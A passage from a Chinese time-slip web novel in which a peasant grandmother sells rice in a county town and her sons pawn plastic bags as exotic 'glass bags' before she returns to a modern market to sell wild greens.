万春兰连忙四下扫望,周围静悄悄的半个人影都没有。
方才她想出来,结果没推动门,她等了一会儿再推才出来的。
估摸是方才有人从这里路过所以推不开,没人了才推开的。
万春兰这会儿愈发的体会到,这白屋子只能在没有人的地方才能用的好处了,不用担心被别人看见突然消失或者出现的骇人情景,简直给她省了天大的麻烦。
万春兰放心地吐出一口气,推起板车往外走。此时板车上麻袋里的野菜,已经全换成了放在空间里的大米。
又回到主街上,万春兰推着板车往城里的米粮行去。
她打量着街上的场景。
距离她上一次来县城已是几个月前,那会儿正值年底,街头巷尾挂满红灯笼,空气里弥漫着炮仗的硫磺味和腊肉的咸香,到处都是吆喝声,人来人往热闹的很。现在转过年来开春,寒意还未散尽,但县城里瞅着依旧挺热闹的。
街两旁的商铺都开着门,打眼路过几家铺子,里面货架上看着都挺满的。街边上还有不少摆小摊的,努力招揽客人。
街边柳树抽出嫩黄的芽,大街上来回走过的人们虽然神色各异,但瞅着也都挺精神,有几个小娃手里拿着纸鸢追逐,笑声清脆从万春兰身边跑过去。
万春兰瞧着县城里还算安稳的模样,感觉心里安定了不少。
很快,她来到县城的裕丰粮号。
这粮号比大柳镇的粮铺可大多了,三开间的门面,黑漆匾额上写着金漆大字,门口站着粮号的伙计,号衣上印着“裕丰”二字,门前的价格板上写着今日的粮食价格,铺子里堆满各色粮袋,空气里浮动着谷物特有的粉尘味儿。
万春兰把板车停在粮号门口,揪起麻袋背到身上,进门前先去看了板上的今日粮价。
糙米一斗/八十文。
万春兰眉心一皱。
果然跟镇上粮铺掌柜说的一样,县城已经涨到八十文一斗了。
她扛着大米跨过高高的门槛,铺子里光线稍暗,能看见细小的尘埃在从门板缝隙透进的阳光里飞舞。
柜台后站着个穿青布长衫的掌柜,五十来岁,戴着玳瑁眼镜,正拨弄算盘。旁边两个伙计忙着给客人称粮。
一个年轻伙计看见万春兰进来,迎上前:“婶子,您是要换粮还是兑粮?”
“换粮。”万春兰把肩上的麻袋轻轻放在地上,解开扎口。
伙计一看袋子里是白米,抓起一小把小心地捧着送去掌柜跟前。
万春兰在身后提着麻袋跟过去。
掌柜抬起头,推了推眼镜,接过伙计手上的白米摊在掌心,又捏起几粒凑到眼前细看,挑起眉心:“哟,还是北方稻米。”
南方稻和北方稻大不相同。
南方稻米粒细长,煮饭时松散分明;北方稻短圆饱满,煮熟后软糯粘弹,米油厚,口感更润。
万春兰看着掌柜:“掌柜的您真厉害,一眼就看出这是北方米。”
掌柜淡定一笑,指腹搓着米粒:“做我们这行的,哪能不识五谷?经手的多了自然是一看就知道的。”
北方水田不多,多是以黍、麦为主,稻米种得少,能磨成这样的精米更难得。
他不由打量万春兰,一身洗得发白的蓝布衣裤,袖口磨出了毛边,膝盖手肘都打着补丁,脚下是沾满灰尘的布鞋,标准的农家打扮。可她背来的这袋米倒是不错。
“你家有北方来的亲戚啊。”掌柜笑着问道。
万春兰一愣,随即马上跟着陪笑起来,不说有也不说没有。
“掌柜,现今这米价怎么涨这么多啊?过年时糙米不是还五十文一斗吗?”万春兰趁机张口问。
“雨水少,粮价自然就涨上去了。”掌柜说道。
万春兰面带忧色,看着掌柜继续问:“那您看,今后这粮价还会往上涨吗?我听说北边......都开始有流民了?”
掌柜面色一整,看着万春兰。
“这话可不兴乱说啊。”
万春兰一怔,随即抬手拍嘴巴:“呸呸呸,我这张老嘴,掌柜的别往心里去。”
他见万春兰背来这北方稻米,又说北面有流民,只当她家确实是有北边来的亲戚投靠了带来的消息。
这老妇家中既然有北边亲戚来投靠,掌柜也就多说了两句,叹口气小声道:
“你家既然有北边来的亲戚,自然也知道一些情况了。这老天爷不下雨,神仙也没招儿啊。”
万春兰听得顿时心里一沉。
掌柜虽然没明说,但这话跟明说也没两样了,北边确实已经开始闹流民了。
“这位婶子,你也不用太忧虑,每年都有收成好、收成不好的地方。北边是旱了些,但挨不着咱们这儿。咱们香坪县今年虽然也旱了些,但往年收成都不错,各家都有余粮,撑过去这段时间就好了。”
万春兰点点头,只当是个安慰,冲着掌柜一笑。
“掌柜说的是。掌柜您看,我这袋白米换糙米的话,一斤能换多少啊?”
掌柜蹲下身,仔细去淘万春兰的这袋米,抓在手里去看。
他从上到下,连抓了好几把,每一把都是好米,粒粒饱满晶莹,全是新米,且磨得极细,几乎不见碎米,堪称精品。
掌柜心喜,这种好米难得啊。
县城里好几户人家都爱吃北方米,尤其东街陈老爷家的老夫人,顿顿都要北方米煮粥。
因为北方种稻的少,本身北方稻米就比南方稻米贵一些,加上今年北方闹旱,这种精品新米更是难得。
掌柜心里盘算:现如今糙米市价一斗八十文,北方精米价格至少翻三倍,若是卖给那些讲究人家,还能再高些。他不动声色:“按今时的粮价,换粮是一斤精米换三斤半糙米。”
比镇上能多换半斤!
“那要是兑成铜钱呢?”万春兰又问。
“一斗两百五十文。”
一斗能换两百五十文钱!
万春兰心下一喜,开口道:“那劳烦掌柜,我想一半换糙米,一半换成铜钱。”
“成。”
掌柜叫来伙计给大米磅秤。
一共是四十一斤六两七钱,也就是四斗六两七钱。
万春兰换了七斗三斤的糙米和五百文钱。
粮号伙计帮忙把装好糙米的麻袋放上板车,万春兰跟在掌柜身后到柜台拿到半贯钱。
沉甸甸的铜钱拎在手上,万春兰满脸喜色的揣进怀里。
“掌柜的,要是还有这种米,您这还收吗?”
“你要是有,我还按这种价收。”
“多谢掌柜!”
揣好了钱出门,万春兰推着板车离开了粮号。又找到一个偏僻没人的地方,把糙米放进空间,然后再出来。
感受着怀里沉甸甸的铜钱,万春兰心喜的同时再次感慨,神仙地的大米真是好啊!
那一袋大米换了这么多。
想到放在白屋子地上的那些香椿和蕨菜,万春兰不由的有些急迫,想赶紧办完事儿回去,再去神仙地卖菜。
可惜事情还没办完。估计怎么着也得到下午才有空了。
万春兰就这么一路惦记着,推着板车往城门口方向走。
到了城门边上的老陈茶摊,万春兰没看见俩儿子在。估摸着是在当铺还没回来。
经营茶摊的是一对老夫妻,看着跟她岁数差不多,万春兰朝女老板走过去:“大姐,我把板车在您这旁边放一会儿,我去街上买些东西,麻烦您帮我看一下。”说着从袖口里摸出一文钱递给茶摊大娘。
茶摊大娘乐呵呵收下一文钱:“行,我帮你看好着,你放心去吧。”
“那多谢了。”万春兰笑笑点头,转身往主街上各家铺子走去。
她得去挨个铺子都问问,东西都涨价没有。
---
香坪县有两家当铺,都在西街。一家是百年老号“永盛当”,铺面大气,黑漆金字的招牌据说还是举人老爷题的;另一家是“兴隆押”,门面小些,但生意也不差。
刘劲山、刘劲水两兄弟,在城门口和万春兰分开后,就往西街上去。
两人在路上时商量着打算是去永盛当,俩人是第一次去当铺,选个老字号放心些。
两兄弟走到西街口时,不约而同地放慢了脚步。
毕竟第一次干这种事,还是个大买卖,事到临头心中不免紧张。
刘劲山向来是个老实性子,之前万春兰的话他听进去了,他拉住弟弟的胳膊,把他拽到街边一棵老槐树下。槐树还没长叶子,光秃秃的枝桠在地上投下交错的影子。
“二水,”刘劲山压低声音,浓眉拧着:“娘叮嘱咱小心歹人。我觉得,咱俩不能就这么大咧咧进去,得想个法子遮一遮。”
刘劲水听罢一点头:“嗯,哥,你说咋弄?”
刘劲山扫了一圈,最后低头,大手抓着衣摆想扯下一块布把脸遮上,刘劲水见状连忙拦住了大哥。
他瞪着眼珠子:“哥,你想扯块布蒙脸?那可不行!这青天白日的,蒙着脸进当铺,不是明摆着告诉人家‘我心里有鬼’吗?”
刘劲山一听也是,立马放弃了打算,挠挠头看着刘劲山:“那怎么弄?”
刘劲水四下张望,忽然眼睛一亮,街对面有家小药铺。
“走。”
他拉着大哥穿过街,摸出两文钱买了一贴最便宜的狗皮膏药。黑乎乎的膏药用油纸包着,散发出浓烈的草药味。
买完药,俩兄弟钻进旁边一条窄胡同。胡同里堆着几捆柴火,墙角青苔湿漉漉的。
“哥,你别动。”
“你要干啥?”
刘劲水撕开油纸,抠下一坨黑色药膏,在手心里搓成一个个小黑点,抬手往刘劲山脸上按。
刘劲山忍着药味儿让弟弟一个一个往他脸上粘黑球,弄了一脸大黑麻子。
完事后,看着大哥的脸刘劲水没忍住憋出笑。
刘劲山抽抽着脸皮:“你给我弄成什么德行了?”
“反正现在是看不出来你原先长啥样了。”是,焦点全跑一脸黑麻子上去了。
刘劲水把剩下的膏药往自己左脸颊一贴,又把挂着脖子上的草帽戴上,往下压了压,帽檐遮住半边脸。
两兄弟再互相一看——一个满脸麻子,一个贴着膏药、帽檐压得低低的,模样算得上是奇葩了,倒是也不容易看出原本的模样了。
“成吗?”刘劲水问。
刘劲山点点头:“成,走吧。”
两人一前一后走出胡同。
永盛当门面开阔,朱漆大门敞着,门槛足有半尺高。门楣上悬着一块巨大的“永盛”招牌,黑底金字。
刘劲山刘劲水来到门前,看了眼金灿灿的“當”字门帘,掀帘进去。
“掌柜,当东西。”
当铺掌柜在柜台后坐着,柜台高得离谱,刘劲山这样高大的个子,也只能勉强露出眼睛看向柜台后。
台面是厚重的黑檀木,磨得油亮,上面摆着笔墨纸砚和一盏黄铜烛台。柜台后坐着个穿藏青色绸衫的中年人,留着山羊胡,正就着窗口的光线看一本账册,手指慢悠悠地捻着页角。
掌柜坐在柜台里居高临下看着进来的两人,放下书册,淡淡道:“当什么?”
铺子里有股特殊的味道,陈旧的布料、淡淡的霉味、墨香,还有一丝若有若无的熏香气混合在一起。
靠墙摆着几排高高的木架,上面堆满各式物品:叠整齐的衣裳、用布包着的器物、卷起来的字画。光线从高高的窗棂透进来,在青砖地上投下几道斜斜的光柱,能看见细小的尘埃在光里翻滚。
刘劲山看着柜台后面的掌柜,深吸一口气。
“掌柜的,看看这个。”他尽量让声音显得平静,“外头来的好东西
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当铺掌柜干这些年,这种话术听的多了。
他淡定地看着刘劲山从怀里掏出一个塑料袋,小心翼翼放在高高的柜台上,透明的袋子在光线里泛着洁白的光泽。
嗯?一见东西,当铺掌柜眼中露出感兴趣的颜色,拿起柜台上的塑料袋到手中细看。
似乎是个袋子,东西入手极轻,柔软却有韧性。掌柜用手指捻了捻,发出细碎的声响,又对着光看了看,透明的,能清楚看见自己手指的纹理。
他活了四十多年,在当铺干了二十载,见过绫罗绸缎、金银玉器、古籍字画,甚至番邦来的稀奇玩意儿也经手过,却从未见过这样的物事。
“嘶嘶”当铺掌柜拿着塑料袋反复观摩,这东西,还真没见过!
“这是......”掌柜试探着问。
他目光在两人脸上扫过,一个麻子脸,一个戴草帽,一身短打布鞋上全是灰,瞅着就是俩庄稼汉。
“叫‘琉璃袋子’。”刘劲水开口说,声音刻意压低,“是从南边港口那边流过来的,是番邦商人带来的。大户人家用来装贵重物品,防水防潮,比油纸布结实多了。”
这是来时路上兄弟俩商量好的说辞。他们按照万春兰的说法往番邦货上推。
掌柜不置可否,把袋子翻来覆去地看,又试着扯了扯——韧性极好,竟没扯破。
他又抬手去拿烛台,刘劲山看见连忙阻止:“不能用火!会烧毁的!也不能用刀子割,也不能太大力扯,这就是个袋子!”
掌柜闻言点点头,放下烛台,看着两人问:“这物还不能怎样?”
两兄弟思忖:“也...没别的了,就别太大力气撕扯,这袋子不防火,但是它很防水,水洒在上面一点不透,在阳光下漂亮的很!”
掌柜点点头,从旁边取来水,淋在上面。
水珠在塑料袋表面滚动,竟然真的不透。
他擦干净表面,撑开口一吹,塑料袋轻飘飘的在空中打旋儿,阳光穿过表面如轻纱一般曼妙,缓缓飘落。
掌柜眼中闪过一丝讶异,心中已经燃起了浓厚的兴趣,但他干这行多年,早就练就了一副好“面具”。
他研究了半天后面上平静地问两兄弟:“倒是个稀罕物。你们想当多少?”
两兄弟对视一眼。来时他们商量过,不能直接报一百文,当铺肯定会压价。刘劲山伸出三根手指:“三百文一个。”
说完俩人心脏就砰砰砰加速跑起来。
除了成亲过彩礼,这是经他们口第二大的数字了!
掌柜皱起眉,山羊胡轻轻抖动:“三百文?太贵了。”他把袋子放回柜台,“这么个薄薄的东西,既不是金银也不是玉器,用料不明,做工......也就这样。顶多一百文。”
听到一百文,两人心中一稳的同时又砰砰砰超速两拍。
来时路上一家人商量了一路,他们的心理预期就是一百文。
当铺掌柜会给个最低价,所以眼下还能更高。
“掌柜的,您压价也太狠了。”刘劲水接话,身子往前倾了倾:“这可是稀罕物,又轻便又好看,都是大户人家才用的起的东西呢,再说,这东西防尘防水,又方便携带,您看,”他拿回袋子,连叠好几下,最后叠成个只有一枚铜钱大小捏在手指间,“这随便往哪一塞就拿着了,多方便啊,普通布袋哪能这样?”
不用两兄弟说什么,掌柜其实已经对这物很心动了,只是故意不表现出来罢了。
他经营当铺多年,只方才几下就想到这物能做什么。
就这物,拿去给那些大户人家的太太小姐,装花饰、做香囊,一准儿受欢迎。
防水还能做帷帽,飘飘若仙,读点书的世家公子们能不心动?
就是不去做这些,单他没见过这物,这琉璃袋子就绝对是个稀罕物。他敢保证,至少在府城,他都没见过这物!
但掌柜面上不显,摇摇头:“话是这么说,可毕竟用处有限。一百五十文,不能再多了。”
妈呀一口气给涨了五十文?
“两百文!”刘劲水咬咬牙:“掌柜的,我们也是急用钱,不然舍不得拿出来当。这可是家里压箱底的好东西。”
掌柜沉吟片刻,手指在柜台上轻轻敲着,哒、哒、哒,每一声都敲在两兄弟心尖上。就在两兄弟想着要不开口降到一百八十文时,掌柜点点头:“成,两百文就两百文。就当交个朋友。”
刘劲山心里狂跳,看向刘劲水,刘劲水吞了吞口水,隐晦的冲大哥点了点头。
刘劲山深吸一口气,强装镇定:“好,就两百文一个。”说着,他从怀里把其余的几个塑料袋都掏出来,整整齐齐放在柜台上,“这些都当了。”
掌柜一看,眼睛微微睁大:“这么多?”
九个塑料袋,透明的、崭新的、在柜台上一字排开,在从窗口透下来的阳光下泛着漂亮的珠光。
刘劲水赶紧解释:“就这几个,都是家父当年走南闯北攒下的。要不是家里急着用钱......”他声音低下去,适时露出心疼的表情。
掌柜不再多问,逐一检查袋子。每个都仔细看了,对着光瞧了瞧。刘劲山还给他演示了一下塑料袋封口怎么开,只轻轻搓开一小点,掌柜一看便知,下一秒就把塑料袋拿走没有全撑开。
算珠噼里啪啦响。
掌柜合上账册:“十个琉璃袋子,两百文一个,一共两千文。死当活当?是换铜钱,还是兑成银子?”
“死当。兑银子!”两人异口同声道。
掌柜朝后堂喊了一声:“阿福,拿钱!”
帘子后走出个年轻伙计,端着个木托盘,上面整整齐齐放着二两银子,洁白如雪的银子泛着沉沉的银光。
刘劲山拿起托盘上的银子,攥紧在手心。
“多谢掌柜。”兄弟俩齐声道,转身快步离开当铺。
看着俩兄弟出去。
当铺掌柜连忙起身,“阿福,来柜前看着!”拿着新收来的十个塑料袋,快步去后堂赶紧研磨这“琉璃袋子”!
这两个败家子。
两百文一个就当了,留下这东西的祖宗都得从坟墓里气活了!
刘劲山、刘劲水跨出门槛,脸上强压的兴奋劲已经遮掩不住了,兄弟俩一人憋红着一张脸快步离开当铺门口。
“哥,成了!”刘劲水压低声音,难掩激动。
刘劲山点点头,脸上药膏干透了,绷得皮肤发紧,攥着二两银子的手心里激动的满是汗水:“赶紧去找娘。”
24. 第 24 章
去茶棚前,兄弟俩先找到一处偏僻角落把脸上的膏药抠了。
药膏干了之后黏着脸上的汗毛,刘劲水龇牙咧嘴的揭下膏药帖,扯的他那块脸皮都红了,弄完自己然后又去帮刘劲山抠掉脸上的黑膏药点子。
两人寻到街尾一口公用水井,打上来一桶清水,又捧水狠狠搓了几把脸,清凉的井水冲掉了那股草药味,收拾妥当,两兄弟恢复原貌,这才朝着城门口的茶摊走去。
城门口的茶摊支在一棵老槐树下。
万春兰就在茶棚附近的城角下,坐在板车上,正对着西街口。
刘劲山、刘劲水出现,万春兰一眼便看到了两兄弟。
俩兄弟同时也看见了万春兰。
“娘!”两兄弟激动的朝万春兰走去,迫不及待想跟万春兰交代他们当了二两银子!
万春兰从板车上起来,瞅两人兴奋的模样,就猜事情一定办的不错。
两人想张口,万春兰压手示意了下,先别说。
城门口附近人来人往的,旁边还有个茶摊,坐着不少人,可不是个说话的地方。
兄弟俩会意,把到嘴边的话咽回去,硬生生改成一句:“娘,我们回来了。”
万春兰笑眯着眼睛,“好。”她轻轻抬了抬下巴,往茶摊大娘那边一努:“我去跟摊主说一声,帮咱看一会儿板车,然后咱们上街去。”说罢朝茶摊走去。刘劲山、刘劲水两人在后面推起板车跟上。
经营茶摊的是一对老夫妻,看着跟万春兰岁数差不多。
万春兰走到女摊主跟前:“大姐,我这板车在您这旁边搁一会儿,我跟儿子上街买点子东西,劳您给照看照看。”她从袖口里摸出一文钱,搁在茶摊大娘手边,又补了一句,“不白麻烦您的。”
茶摊大娘接了钱,顺手往腰间褡裢一塞,乐呵呵应声:“成,我给看着呢,你尽管放心去。”
“那多谢了。”万春兰笑笑,转身招呼俩儿子。
娘儿仨离开茶摊往街里走。
万春兰走在中间,俩儿子一边一个挨着她,刘劲水实在憋不住,歪着脑袋凑近他娘耳朵,压着嗓子喊了一声:“娘,成了!”
万春兰不禁露出笑,抽抽着脸皮把表情往下压,抬手拍了二儿子一下,“等会儿说!”左右看俩儿子这激动样,弄得她也跟着一阵激动。
三人拐进一条岔巷,巷子窄,两侧是店铺后墙,堆着些破箩筐、烂木板,白天也少人来。万春兰站定,四下望了望,这才把两只手拢在身前,压低声音问:
“当了多少?”
“娘你猜!”刘劲水兴奋地看着娘卖起了关子。
刘劲山听弟弟这么说,攥着手心没松开,亢奋地搓搓脸皮嘿嘿笑看着娘等她猜。
万春兰嘴角一个劲儿往上翘,唬着脸着急:“没空跟你俩戏耍,赶紧说!”
两兄弟对视一眼,刘劲山摊开手心递给到万春兰眼前。
那二两银子的小圆饼躺在刘劲山手心,成色新,光灿灿的,在巷子半明半暗的光线里直晃人眼。
万春兰瞪大眼珠子,一口气倒吸进去,半天没吐出来。
“娘,拢共当了二两银子!”
二两!银子!
她当了快三十年家,统共也没摸过几回银子!
这俩儿子成啊!
万春兰激动的连连拍两个儿子手臂。
“成!成!你俩比娘能干多了!”
刘劲山、刘劲水两个大男人,在万春兰跟前笑得跟俩二憨似的,牙花子都呲出来了。
刘劲山咧着嘴把小银饼放到万春兰手里,“娘你收着。”
手心一沉,万春兰稳了稳神,她没多看,赶紧合上手掌,指头紧紧攥着,一点银光都不露。又往袖口里一揣,手没抽出来,就那么在袖子里捂着。
两兄弟你一言我一语的小声说起了怎么在当铺当了这二两银子。
万春兰认真听着,把小银饼收好。
到底多活了几十年,万春兰还算稳得住。
几句话过后对于二两银子的刺激已经平复了不少。
“行了,细的一会儿回去再说,先去忙剩下的事。”
虽然在巷子里旁边没有人,但毕竟是在外面,不是长时间说话的地儿。
两兄弟听话的点点头,没再说细节。
母子三人尽量平复好激动的心情,这才出了巷子,往大街上去。
“娘,菜贩把那些菜都收了?”
“嗯,都收走了。”
“嘿嘿!”
“走吧,去城里的铺子都问问,现如今有什么活儿计。”
今天进城的另一件事就是打探打探城里有什么赚零工的活儿计。
万春兰则要打听下除了粮价,其他东西都涨价没。
香坪县城东西向两条主街,南北再两道岔,铺子挨着铺子,卖油盐的、扯布匹的、打铁器的,招牌幌子高低错落,一家挨一家。
刘劲山刘劲水兄弟俩分头去问那些需要力工的铺子,见门开着就往里探个头,客客气气问一句:“掌柜的,您这儿可要临时的小工?”或者再打听一下,最近那些大户人家有没有需要青壮的短工挖地修墙、妇女浆洗赶绣什么的。
万春兰则挨家进那些杂货铺、布庄卖东西的地方,进去看看问问,她心里有本账,哪样东西该是什么价,往年是多少,过年时是多少,平常是多少,都记得清楚。
走完半条街,她心里有了数。
粮价上涨,其余布匹、杂货这些,买的人少了,铺子压着货,价钱倒比年前还软了些。
目前粮价还在城里百姓咬咬牙能承受的范围内,所以城里百姓们虽然开始省钱了,但还能稳得住。
可万春兰的心里却发沉。
粮价涨,旁的东西跌,百姓手里没钱,先紧着吃的,旁的都可省。城里人还稳得住,不过是买菜少买半斤、扯布少扯一尺。可他们乡下人,吃食大半靠地里长,倘或年成不好、粮价再涨,那才是真真挨饿的时候。
她抬起头看着干巴巴的天。
就像粮号掌柜说的,这老天爷不下雨,神仙也没招儿!
到时候苦的可都是他们庄稼人。
不行。
她得多囤粮食。
万一真到了要命的时候,她得让他们一家人全能活。
万春兰沉着脸攥紧两只手,加快快步,愈发坚定了在神仙地那边多多赚钱屯粮食的想法。
“问的咋样?”娘仨个碰头,万春兰问俩儿子。
刘劲山、刘劲水摇摇头叹气。
“问了一圈,都没有招打零工的。”
“铁匠铺说自家人都闲着呢。”
“粮号倒是生意好,但那不缺人。”
“前段时间城西李家修园子招人挖地,眼下活都干完了。”
万春兰听了一圈,点点头,倒是并不意外,“正常,现在粮价这么贵,所有人都紧着手里的钱,找不到活儿正常。”
估摸着只有那些不愁吃喝的大户人家才会有些杂事招人干,但有消息,基本也是让城里的百姓抢先了,他们乡下人抢不上。
菜收了,塑料袋当了,消息也打探了。
今天来县城要办的事情都办完了。太阳在正午位置,时间比预想中的早。
“行了,那咱回吧。”万春兰道。
“嗯。”
母子三人去茶摊取回板车,便出城回家了。
出了城,刘劲山、刘劲水让万春兰坐到车上。
进城的这条路比较平坦,两人推着车不费劲。
虽然没在县城找到什么活计,但在当铺当了二两银子,两兄弟一路还是兴奋得很。
走路上没人的地方,就叽叽呱呱跟万春兰讲在当铺的经过。
“娘,你是没在场!那掌柜的拿着塑料袋,翻来覆去地看,翻来覆去地摸,我就站那儿不吭声,等他先开口。他问这是啥,我说这是番邦那边时兴的好物件,咱们这边稀罕得很。他问你想当多少,我说三百文!”
“大哥这话说得稳,一点都不虚!那掌柜的压可狠了,说顶天一百文。张口就砍了一大半,我跟大哥对视一眼,我说不行!这压价也太狠了!”
“二弟机灵的很,立在柜台前跟掌柜的说的天花乱坠,愣是给提到了两百文!”
万春兰满眼笑听着俩儿子给她讲,仿佛看到了他们小时候,乐得合不拢嘴。
“好,好,你俩都厉害!”
两儿子被夸的满脸笑,兴奋得跟几岁的孩子似的。
万春兰摸着袖口里的二两银子。
这一下二两银子,俩孩子的束脩就出来了。
她也是没想到能一下当回来二两银子,这神仙地的袋子真是比她想象中的还要值钱。
俩儿子绘声绘色说的万春兰心动不已,要不再拿出来十个塑料袋去当掉算了!
不过这念头在肚子里转了一圈后就被压下去了。
已经从她嘴里说出那袋子是人家给的了,转头她又拿出好几个,说人家其实不止给了十个,还有好些个?忽悠傻子呢。就是亲儿子也该觉出不对劲了。
洞越挖越大就补不上了。
况且来钱太容易不是好事儿。
万春兰歇了心思,她坐在板车上,低头把换的半贯铜钱拿出来数。
万春兰不是那种把钱全都抓手里的人。
儿子大了,都有媳妇孩子了,出门都是顶门立户的两个大男人,哪能手里一个子儿都没有。
两人没成家前,她就会给他们手里放几个钱压身。
成家后,她就按每年收成,公中预留四成,他们两房各分三成,然后他们自己出去做工赚的钱,交公中三成,其余他们自己小家留着。
她数了两百文,拿麻绳穿好,分成两串,一人给了一串。
“来,你俩挣的,一人一串。”万春兰把钱分给两兄弟,“昨天咱们一家去山上找了大半天野菜,今天你俩又干了桩漂亮活儿,你俩媳妇儿跟着忙前忙后也出了不少力,来,这是你俩的,等回去后,我再分给你俩媳妇一份。”
两兄弟停下车,一人接过来一串铜钱,黑红的脸上笑的合不拢嘴。
“谢谢娘!”
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“娘你可真好。”
万春兰笑眯眯的把剩下的钱收好。
“银子的事回去别跟别人说。”
“知道了娘!”
俩儿子收了钱都高兴的很,重新推起车,板车吱呀吱呀地往前走,车轮碾起地上的尘土,虎虎生风。
他们到家时,午时刚过。
日头在头顶高高挂着,几个孩子都在,大的带着小的,全都蹲在廊檐下择菜。
一早万春兰他们走后,罗菊香和马荷花就提上东西上山里去找野菜了。
中午摘了一大筐回来,叫几个孩子在家收拾着,然后马不停蹄又接着去找。
廊檐下铺着一张草席子,小禾手里攥着把香椿,特别认真的一根根的捡,二宝坐不住,捡了一会儿就歪在门槛边拿根树枝戳蚂蚁洞,大宝和福哥儿把收拾好的都归整起来。
听见门响,几个孩子齐齐转过脸来。
“爹!阿奶!你们回来啦!”
“回来咯!”万春兰挨个摸摸小脑袋,扫了一圈家里没看见俩儿媳妇在:“你们娘呢?”
“娘和婶婶上山找香椿去了,让我们在家看家!”
“娘和婶婶早上就出去了,摘了一大筐回来,叫我们在家好好收拾,然后又去山上啦!”
万春兰扬起眉毛,看着廊檐下那一堆新摘的野菜顿时乐开了怀,心里赞两个儿媳妇真能干!看见几个小的把野菜都快收拾好了,更是笑的见牙不见眼。
“好好好,能干,你们都乖!”
万春兰笑的眼角堆起细密的褶子,她从包袱里摸出一个油纸包,打开,里头是几块棕褐色块状的胶牙饧(糖)。
“哇——!”
几个孩子眼睛登时亮了,跟灶膛里的火星子似的。
她在县城逛了一大圈,就买了这一小包糖,昨天摘野菜几个娃也是帮忙了的。况且难得去一趟县城,怎么着也给孩子们带几块糖吃。
“来,你们昨天帮着家里摘野菜,今天又继续帮忙,都是好孩子,一人一块,拿去吃吧。”
万春兰挨个分了一块,娃娃们把糖塞进嘴里,甜得眯起眼睛,腮帮子一鼓一鼓,高兴的在院子里乱蹦。
“好甜哦!”
“阿奶!你真好!~”
“最喜欢阿奶了!”
刘劲山、刘劲水在旁边端着大碗喝水,看着孩子们围着奶奶转直乐呵。
“好了好了,别缠着我了,去找你们爹玩。”万春兰摆开几个孙子,叫他们去找自己亲爹玩儿,自己转身回去老屋里。
她拿出一串贴身钥匙,先打开大木柜,取出放在里面的钱匣子,再打开钱匣的锁,然后把今天换得的铜钱、还有那银灿灿的二两银子一起放到里头。
又看了好几眼银灿灿的小圆饼,万春兰心满意足的合上盖子扣上锁。
捧着沉甸甸的钱匣子,好生放回去。锁好大木柜,再把钥匙贴身收好。
这才转身出去院子里,安心地坐下喝喝水休息,看着孙子们玩闹。
在家里歇了一会儿。
“娘,我们去地里看看。”
“去吧。”
一大早就出门,今天地里还没去,刘劲山、刘劲水两兄弟休息了一会儿,就拿着农具去地里了。
不一会儿后万春兰也从椅子上起身,到仓房里拿上家里的一个大藤条筐,足有半人高。
家里一共两个这种大筐子,被罗菊香跟马荷花拿走了一个。
“阿奶出去一趟,你们几个好好在家啊。”
“好的阿奶!”
叮嘱好几个小孩儿,万春兰背着藤条筐也出了门。
她脚下快步走,带着一股迫不及待的劲儿。
独自到后山往林子里走,无人注意间,人影已经悄然消失了。
进到白屋子里,万春兰迫不及待来到那一堆的香椿和蕨菜跟前,放下竹筐,开始仔细一点点往里装。
两天没去神仙地了!万春兰面上激动,想的不行!
藤筐的最底层垫了一层厚厚的稻草,每放好一层,她再垫一层稻草,防止野菜被压坏。
把全部香椿和蕨菜都装进去,竹筐顶上冒着尖儿,紫红的嫩芽挤挤挨挨,蕨菜绿油油弯着脑袋,毛茸茸的卷儿,煞是好看。
万春兰瘦小的身体背起藤筐,走到门前,推开门——
“特价玉米,十元五根。”
“新鲜活鱼,现卖现杀,不新鲜不要钱!”
“鸡蛋、鸭蛋、鹅蛋、皮蛋、鹌鹑蛋、松花蛋、各种蛋!”
明亮的灯光,雪白发亮的瓷砖墙壁,一排排摊位上各种红彤彤、绿油油、鲜艳饱满的瓜果青菜、香香润润的肉包大鸭子!
是久违又熟悉的神仙地!
万春兰深呼吸一口菜市场的气息,脸上勾起深深的笑,背着藤筐走进人群。
她又找到第一次摆摊的地方,那个调味料的摊位旁边。
调味料的老板郭向阳,正给客人称八角,抬眼一瞥看见万春兰,脸上登时一怔惊喜道:
“哎呀!大娘,你可来了!”
25. 第 25 章
“一共十五,码在这哈。”郭向阳给客人算完账,从摊位里绕出来走到万春兰跟前,“哎呀大娘,你可来了,前天在你这买过菜的那个哥们,这两天,天天来菜市场找你买菜。”
万春兰抬头看着这位熟悉的摊位老板,见对方还认识她,她高兴的冲对方露出笑。
“掌柜的好!”她微微躬了躬身,肩膀上的麻绳背带勒得有些紧,她顺势往上颠了颠,筐里的野菜跟着轻轻一晃。
“嚯!”郭向阳看见万春兰身后那筐,眉毛一扬,眼睛瞪大了一圈,“您这带来不少呢!”
筐里装着满满的新鲜菜,露着水灵灵的菜色,都冒尖儿,他眉毛一扬笑起来:“这下那哥们可高兴了。他这两天来找了你好几趟,为了等你,还跟我留了联系方式,让我看见你来了一定帮忙通知他。”
郭向阳这一串话,万春兰听了个囫囵,但看对方神情轻松一直乐呵呵的,指定都是些好听话,她就一个劲儿点头笑:“诶,诶。”
“到账15元。”那边的客人付完账拎着一袋子八角,一个劲好奇的看万春兰。
万春兰今天的穿着和上回一样,都是那一身老旧的补丁衣裳,头发一丝不乱地盘成髻,用根旧木簪别着,跟周围所有人都格格不入,标准古代人打扮。
“老板,这你家亲戚啊?”这个男客人自来熟地笑着问。
“哈哈不是不是,”郭向阳摆摆手,“一个来卖菜的大娘。这大娘的菜可新鲜,前两天有个哥们从她这儿买的香椿,这几天天天来找。”
“是嘛?”听郭向阳这么说,这个买八角的客人来了兴趣,凑过来瞧万春兰身后的背筐,“我看看。”
“那你们还上这来吧。”郭向阳把万春兰引到她之前摆摊的地方,还帮着万春兰把肩上背的藤筐拿下来。
“来大娘,你们先看着,我给那兄弟打个电话,告诉他一声你来了。”
万春兰没怎么听懂,但对方主动把她引到旁边摆摊的位置,然后又帮忙把藤筐卸下来,她面上感激嘴里不住地道谢。
“哎哟,掌柜的您人真好。”
“多谢多谢!我自个儿来就行,多谢掌柜的!”
买八角的客人也凑过来了,低头来看她筐里的菜,万春兰见状赶紧笑容满面的忙活起来,把菜展示给客人看,嘴里念叨着:“香椿,蕨菜,是昨天刚摘的,没让晒着,新鲜着呢。”
郭向阳站在一边,从裤兜里摸出手机打开,拇指在屏幕上划拉两下,找到一个号码拨了出去。
---
南区湾山中路,某一家小有名气的私厨菜馆后厨。
老板兼主厨张齐站在灶台前,手里捏着双筷子,细细品尝一道刚出锅的菜。
他咀嚼着嘴里的香椿细品,眉头微微拧着,慢慢摇了摇头。
